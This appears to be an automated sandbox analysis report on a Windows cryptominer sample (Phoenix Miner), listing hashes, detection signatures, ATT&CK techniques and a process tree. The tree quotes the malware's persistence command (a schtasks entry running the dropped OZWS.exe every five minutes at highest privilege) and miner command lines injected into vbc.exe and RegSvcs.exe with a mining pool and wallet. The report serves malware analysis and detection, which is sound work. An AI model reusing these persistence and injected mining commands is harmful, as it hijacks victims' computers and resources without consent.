63280649d4a12229157f421ee6ba5fdcc4a9217343f1b5edb43aa87efaa94e90

Resubmissions

09/12/2022, 19:46

221209-ygxwxsea859

06/12/2022, 22:31

221206-2fvxqadb5v9

06/12/2022, 22:22

221206-2abxnace4t9

Analysis

max time kernel
119s
max time network
125s
platform
windows10-2004_x64
resource
win10v2004-20220812-en
resource tags

arch:x64arch:x86image:win10v2004-20220812-enlocale:en-usos:windows10-2004-x64system
submitted
06/12/2022, 22:31

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
63280649d4a12229157f421ee6ba5fdcc4a9217343f1b5edb43aa87efaa94e90.exe
Size 891KB
Sample221206-2fvxqadb5v
SHA256 63280649d4a12229157f421ee6ba5fdcc4a9217343f1b5edb43aa87efaa94e90
MD5 cc101b016deadd7d54994e282e89a2ec
SHA1 c0f8324e2ab8d197e897d8c20cb27359dc92ac8a
SHA512 1584cc57ced08d8673af119c256df8a9e9430b546c768bd7965c9d481a73d14d2acca9c72446c54e777aff995f849e1ee210c2bfe92098763a381f2105687f3a
SSDEEP 12288:NoCNfsZC/u4aOXa+ZQYJpnFCmkSN0/F1:NoCFsiZqeJr4F
MD5 SHA1 SHA512 SSDEEP

Score

9^/10

miner upx

Malware Config

Signatures

Detectes Phoenix Miner Payload 3 IoCs

miner

resource	yara_rule
behavioral1/memory/2552-155-0x0000000140000000-0x000000014082B000-memory.dmp	miner_phoenix
behavioral1/memory/2552-156-0x0000000140000000-0x000000014082B000-memory.dmp	miner_phoenix
behavioral1/memory/2552-157-0x0000000140000000-0x000000014082B000-memory.dmp	miner_phoenix

Executes dropped EXE 1 IoCs

pid	Process
5088	OZWS.exe

UPX packed file 6 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral1/memory/2552-151-0x0000000140000000-0x000000014082B000-memory.dmp	upx
behavioral1/memory/2552-153-0x0000000140000000-0x000000014082B000-memory.dmp	upx
behavioral1/memory/2552-154-0x0000000140000000-0x000000014082B000-memory.dmp	upx
behavioral1/memory/2552-155-0x0000000140000000-0x000000014082B000-memory.dmp	upx
behavioral1/memory/2552-156-0x0000000140000000-0x000000014082B000-memory.dmp	upx
behavioral1/memory/2552-157-0x0000000140000000-0x000000014082B000-memory.dmp	upx

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-2629973501-4017243118-3254762364-1000\Control Panel\International\Geo\Nation	OZWS.exe

Uses the VBS compiler for execution 1 TTPs

Scripting
T1064

Suspicious use of NtSetInformationThreadHideFromDebugger 2 IoCs

pid	Process
2552	RegSvcs.exe
2552	RegSvcs.exe

Suspicious use of SetThreadContext 2 IoCs

description	pid	Process	procid_target
PID 5088 set thread context of 3768	5088	OZWS.exe	93
PID 5088 set thread context of 2552	5088	OZWS.exe	98

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

Program crash 1 IoCs

pid	pid_target	Process	procid_target
1772	5088	WerFault.exe	85

Creates scheduled task(s) 1 TTPs 1 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence

Scheduled Task

T1053

pid	Process
1188	schtasks.exe

Delays execution with timeout.exe 1 IoCs

evasion

pid	Process
4932	timeout.exe

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
5088	OZWS.exe
5088	OZWS.exe

Suspicious use of AdjustPrivilegeToken 2 IoCs

description	pid	Process
Token: SeDebugPrivilege	2112	63280649d4a12229157f421ee6ba5fdcc4a9217343f1b5edb43aa87efaa94e90.exe
Token: SeDebugPrivilege	5088	OZWS.exe

Suspicious use of WriteProcessMemory 33 IoCs

description	pid	Process	procid_target
PID 2112 wrote to memory of 4804	2112	63280649d4a12229157f421ee6ba5fdcc4a9217343f1b5edb43aa87efaa94e90.exe	81
PID 2112 wrote to memory of 4804	2112	63280649d4a12229157f421ee6ba5fdcc4a9217343f1b5edb43aa87efaa94e90.exe	81
PID 4804 wrote to memory of 4932	4804	cmd.exe	84
PID 4804 wrote to memory of 4932	4804	cmd.exe	84
PID 4804 wrote to memory of 5088	4804	cmd.exe	85
PID 4804 wrote to memory of 5088	4804	cmd.exe	85
PID 5088 wrote to memory of 5068	5088	OZWS.exe	86
PID 5088 wrote to memory of 5068	5088	OZWS.exe	86
PID 5068 wrote to memory of 1188	5068	cmd.exe	88
PID 5068 wrote to memory of 1188	5068	cmd.exe	88
PID 5088 wrote to memory of 3768	5088	OZWS.exe	93
PID 5088 wrote to memory of 3768	5088	OZWS.exe	93
PID 5088 wrote to memory of 3768	5088	OZWS.exe	93
PID 5088 wrote to memory of 3768	5088	OZWS.exe	93
PID 5088 wrote to memory of 3768	5088	OZWS.exe	93
PID 5088 wrote to memory of 3768	5088	OZWS.exe	93
PID 5088 wrote to memory of 3768	5088	OZWS.exe	93
PID 5088 wrote to memory of 3768	5088	OZWS.exe	93
PID 5088 wrote to memory of 3768	5088	OZWS.exe	93
PID 5088 wrote to memory of 3768	5088	OZWS.exe	93
PID 5088 wrote to memory of 3768	5088	OZWS.exe	93
PID 5088 wrote to memory of 3768	5088	OZWS.exe	93
PID 5088 wrote to memory of 3768	5088	OZWS.exe	93
PID 5088 wrote to memory of 3768	5088	OZWS.exe	93
PID 3768 wrote to memory of 3468	3768	vbc.exe	94
PID 3768 wrote to memory of 3468	3768	vbc.exe	94
PID 5088 wrote to memory of 2552	5088	OZWS.exe	98
PID 5088 wrote to memory of 2552	5088	OZWS.exe	98
PID 5088 wrote to memory of 2552	5088	OZWS.exe	98
PID 5088 wrote to memory of 2552	5088	OZWS.exe	98
PID 5088 wrote to memory of 2552	5088	OZWS.exe	98
PID 5088 wrote to memory of 2552	5088	OZWS.exe	98
PID 5088 wrote to memory of 2552	5088	OZWS.exe	98

C:\Users\Admin\AppData\Local\Temp\63280649d4a12229157f421ee6ba5fdcc4a9217343f1b5edb43aa87efaa94e90.exe
"C:\Users\Admin\AppData\Local\Temp\63280649d4a12229157f421ee6ba5fdcc4a9217343f1b5edb43aa87efaa94e90.exe"
1⤵
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2112
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\tmp8840.tmp.bat""
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:4804
- - C:\Windows\system32\timeout.exe
    timeout 3
    3⤵
    - Delays execution with timeout.exe
    PID:4932
- - C:\ProgramData\root\OZWS.exe
    "C:\ProgramData\root\OZWS.exe"
    3⤵
    - Executes dropped EXE
    - Checks computer location settings
    - Suspicious use of SetThreadContext
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:5088
  - - C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" /c schtasks /create /f /sc MINUTE /mo 5 /RL HIGHEST /tn "OZWS" /tr "C:\ProgramData\root\OZWS.exe"
      4⤵
      Suspicious use of WriteProcessMemory
      PID:5068
    - - C:\Windows\system32\schtasks.exe
        
        schtasks /create /f /sc MINUTE /mo 5 /RL HIGHEST /tn "OZWS" /tr "C:\ProgramData\root\OZWS.exe"
        5⤵
        Creates scheduled task(s)
        
        PID:1188
  - - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\vbc.exe
      C:\Windows\Microsoft.NET\Framework64\v4.0.30319\vbc.exe -pool ssl://eu1-etc.ethermine.org:5555 -wal 0x979e2ea1C1BCfd64418f80D32218e26951A5090d.Rig001 -coin etc -log 0
      4⤵
      Suspicious use of WriteProcessMemory
      PID:3768
    - - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c cls
        5⤵
        
        PID:3468
  - - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\RegSvcs.exe
      C:\Windows\Microsoft.NET\Framework64\v4.0.30319\RegSvcs.exe -pool ssl://eu1-etc.ethermine.org:5555 -wal 0x979e2ea1C1BCfd64418f80D32218e26951A5090d.Rig001 -coin etc -log 0
      4⤵
      Suspicious use of NtSetInformationThreadHideFromDebugger
      PID:2552
  - - C:\Windows\system32\WerFault.exe
      C:\Windows\system32\WerFault.exe -u -p 5088 -s 2336
      4⤵
      Program crash
      PID:1772

C:\Windows\system32\WerFault.exe
C:\Windows\system32\WerFault.exe -pss -s 424 -p 5088 -ip 5088
1⤵
PID:3460

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Scheduled Task

T1053

Scripting

T1064

Persistence

Scheduled Task

T1053

Privilege Escalation

Scheduled Task

T1053

Defense Evasion

Scripting

T1064

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

OZWS.exe

Path C:\ProgramData\root\OZWS.exe
Size 891KB
SHA256 63280649d4a12229157f421ee6ba5fdcc4a9217343f1b5edb43aa87efaa94e90
MD5 cc101b016deadd7d54994e282e89a2ec
SHA1 c0f8324e2ab8d197e897d8c20cb27359dc92ac8a
SHA512 1584cc57ced08d8673af119c256df8a9e9430b546c768bd7965c9d481a73d14d2acca9c72446c54e777aff995f849e1ee210c2bfe92098763a381f2105687f3a
SSDEEP 12288:NoCNfsZC/u4aOXa+ZQYJpnFCmkSN0/F1:NoCFsiZqeJr4F
MD5 SHA1 SHA512 SSDEEP

Submit Download

OZWS.exe

Path C:\ProgramData\root\OZWS.exe
Size 891KB
SHA256 63280649d4a12229157f421ee6ba5fdcc4a9217343f1b5edb43aa87efaa94e90
MD5 cc101b016deadd7d54994e282e89a2ec
SHA1 c0f8324e2ab8d197e897d8c20cb27359dc92ac8a
SHA512 1584cc57ced08d8673af119c256df8a9e9430b546c768bd7965c9d481a73d14d2acca9c72446c54e777aff995f849e1ee210c2bfe92098763a381f2105687f3a
SSDEEP 12288:NoCNfsZC/u4aOXa+ZQYJpnFCmkSN0/F1:NoCFsiZqeJr4F
MD5 SHA1 SHA512 SSDEEP

Submit Download

tmp8840.tmp.bat

Path C:\Users\Admin\AppData\Local\Temp\tmp8840.tmp.bat
Size 137B
SHA256 c6b1454ebefc60ed29daf9f9ca94db7aa8044b31fd3518ffb28a792725705086
MD5 5af6e10ba24772b867f9e8aaaf290283
SHA1 5849ee194b74f8cbb99bfd503e34c2e14f2ecf0e
SHA512 d99e864997285a70ab58433a522ec15a642b12071a7d514ed4d6fe0806adb5374a8e7ed842abc8b73c243d3cfe1e39a088a49e3abe99601ce1cd553e3db92b29
MD5 SHA1 SHA512

Submit Download

memory/2112-137-0x00007FFB54A80000-0x00007FFB55541000-memory.dmp

Download

memory/2112-133-0x00007FFB54A80000-0x00007FFB55541000-memory.dmp

Download

memory/2112-132-0x0000000000220000-0x0000000000304000-memory.dmp

Download

memory/2552-156-0x0000000140000000-0x000000014082B000-memory.dmp

Download

memory/2552-157-0x0000000140000000-0x000000014082B000-memory.dmp

Download

memory/2552-155-0x0000000140000000-0x000000014082B000-memory.dmp

Download

memory/2552-154-0x0000000140000000-0x000000014082B000-memory.dmp

Download

memory/2552-153-0x0000000140000000-0x000000014082B000-memory.dmp

Download

memory/2552-151-0x0000000140000000-0x000000014082B000-memory.dmp

Download

memory/3768-150-0x0000000140000000-0x00000001400C6000-memory.dmp

Download

memory/3768-148-0x0000000140000000-0x00000001400C6000-memory.dmp

Download

memory/3768-147-0x0000000140000000-0x00000001400C6000-memory.dmp

Download

memory/3768-145-0x0000000140000000-0x00000001400C6000-memory.dmp

Download

memory/5088-144-0x00007FFB54A80000-0x00007FFB55541000-memory.dmp

Download

memory/5088-141-0x00007FFB54A80000-0x00007FFB55541000-memory.dmp

Download

memory/5088-158-0x00007FFB54A80000-0x00007FFB55541000-memory.dmp

Download